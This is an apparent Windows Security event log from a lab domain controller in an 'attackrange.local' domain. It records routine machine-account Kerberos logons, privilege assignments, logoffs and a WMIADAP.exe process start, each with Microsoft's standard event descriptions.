-LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249528 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4CCD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64279 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:43 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249527 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4CCD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249550 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4F86 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249549 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4F86 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64286 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249548 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4F86 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249547 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4F25 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249546 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4F25 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64285 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249545 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4F25 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249544 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4EBF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249543 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4EBF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64284 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249542 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4EBF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249541 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4E5E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249540 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE4E5E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64283 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:44 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249539 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE4E5E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249563 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE5378 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249562 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE5378 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64290 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249561 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE5378 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249560 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE5317 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249559 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE5317 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64289 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249558 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE5317 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249557 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE52B1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249556 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE52B1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64288 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249555 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE52B1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249554 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE5250 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249553 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE5250 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64287 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249552 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE5250 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:45 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249551 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x50c - New Process Name: C:\Windows\System32\wbem\WMIADAP.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x478 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: wmiadap.exe /F /T /R - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249575 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE550E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249574 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No 